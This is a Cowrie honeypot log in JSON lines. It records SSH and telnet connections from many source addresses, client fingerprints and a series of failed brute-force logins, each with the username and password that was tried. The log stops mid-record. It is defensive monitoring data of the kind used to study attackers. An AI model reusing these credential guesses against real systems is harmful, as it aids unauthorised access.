{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:28:41.159748Z","src_ip":"161.97.102.228","session":"b989f64c490e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm,","message":"login attempt [root/zxcvbnm,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:28:41.563984Z","src_ip":"161.97.102.228","session":"b989f64c490e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:28:42.661108Z","src_ip":"161.97.102.228","session":"b989f64c490e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.249.178.128","src_port":57244,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa3918adc562","protocol":"telnet","message":"New connection: 58.249.178.128:57244 (159.203.135.109:23) [session: fa3918adc562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:05.546989Z"}
{"eventid":"cowrie.session.closed","duration":14.090047597885132,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:19.636877Z","src_ip":"58.249.178.128","session":"fa3918adc562","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":22008,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6a2da03ee2a","protocol":"ssh","message":"New connection: 38.93.206.2:22008 (10.17.0.5:22) [session: d6a2da03ee2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:40.159153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:40.164112Z","src_ip":"38.93.206.2","session":"d6a2da03ee2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:40.225355Z","src_ip":"38.93.206.2","session":"d6a2da03ee2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"razvedka","message":"login attempt [root/razvedka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:40.381010Z","src_ip":"38.93.206.2","session":"d6a2da03ee2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":34594,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d8e85f7a0dd","protocol":"ssh","message":"New connection: 176.32.39.21:34594 (159.203.135.109:22) [session: 0d8e85f7a0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:40.854555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:40.980334Z","src_ip":"176.32.39.21","session":"0d8e85f7a0dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:40.989279Z","src_ip":"176.32.39.21","session":"0d8e85f7a0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:41.434754Z","src_ip":"38.93.206.2","session":"d6a2da03ee2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:42.290670Z","src_ip":"176.32.39.21","session":"0d8e85f7a0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:43.413467Z","src_ip":"176.32.39.21","session":"0d8e85f7a0dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":59924,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d780cb59c7a","protocol":"ssh","message":"New connection: 103.149.170.125:59924 (159.203.135.109:22) [session: 9d780cb59c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:43.702465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:43.707477Z","src_ip":"103.149.170.125","session":"9d780cb59c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:43.969518Z","src_ip":"103.149.170.125","session":"9d780cb59c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220788","message":"login attempt [root/220788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:44.760669Z","src_ip":"103.149.170.125","session":"9d780cb59c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:46.023257Z","src_ip":"103.149.170.125","session":"9d780cb59c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":54294,"dst_ip":"159.203.135.109","dst_port":22,"session":"3141d7e29c94","protocol":"ssh","message":"New connection: 185.239.84.249:54294 (159.203.135.109:22) [session: 3141d7e29c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:47.712952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:47.722136Z","src_ip":"185.239.84.249","session":"3141d7e29c94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:47.931174Z","src_ip":"185.239.84.249","session":"3141d7e29c94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa123456","message":"login attempt [root/aaa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:48.348956Z","src_ip":"185.239.84.249","session":"3141d7e29c94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:29:49.566856Z","src_ip":"185.239.84.249","session":"3141d7e29c94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.102.228","src_port":56216,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ba85aa4beef","protocol":"ssh","message":"New connection: 161.97.102.228:56216 (159.203.135.109:22) [session: 7ba85aa4beef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:21.889031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:21.895120Z","src_ip":"161.97.102.228","session":"7ba85aa4beef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:22.002612Z","src_ip":"161.97.102.228","session":"7ba85aa4beef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin@123","message":"login attempt [ubuntu/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:22.410862Z","src_ip":"161.97.102.228","session":"7ba85aa4beef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:23.522114Z","src_ip":"161.97.102.228","session":"7ba85aa4beef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":54908,"dst_ip":"10.17.0.5","dst_port":22,"session":"19f04748418f","protocol":"ssh","message":"New connection: 193.228.128.84:54908 (10.17.0.5:22) [session: 19f04748418f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:33.934250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:33.944798Z","src_ip":"193.228.128.84","session":"19f04748418f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:34.048020Z","src_ip":"193.228.128.84","session":"19f04748418f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrey12345","message":"login attempt [root/andrey12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:34.356291Z","src_ip":"193.228.128.84","session":"19f04748418f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:35.466616Z","src_ip":"193.228.128.84","session":"19f04748418f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":47342,"dst_ip":"159.203.135.109","dst_port":22,"session":"08baf98bae3d","protocol":"ssh","message":"New connection: 194.113.233.25:47342 (159.203.135.109:22) [session: 08baf98bae3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:49.095810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:49.100902Z","src_ip":"194.113.233.25","session":"08baf98bae3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:49.194867Z","src_ip":"194.113.233.25","session":"08baf98bae3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789qwe","message":"login attempt [root/789qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:49.479948Z","src_ip":"194.113.233.25","session":"08baf98bae3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:50.704464Z","src_ip":"194.113.233.25","session":"08baf98bae3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":54188,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c1613e2dac1","protocol":"ssh","message":"New connection: 109.172.54.111:54188 (10.17.0.5:22) [session: 2c1613e2dac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:51.349265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:51.357296Z","src_ip":"109.172.54.111","session":"2c1613e2dac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa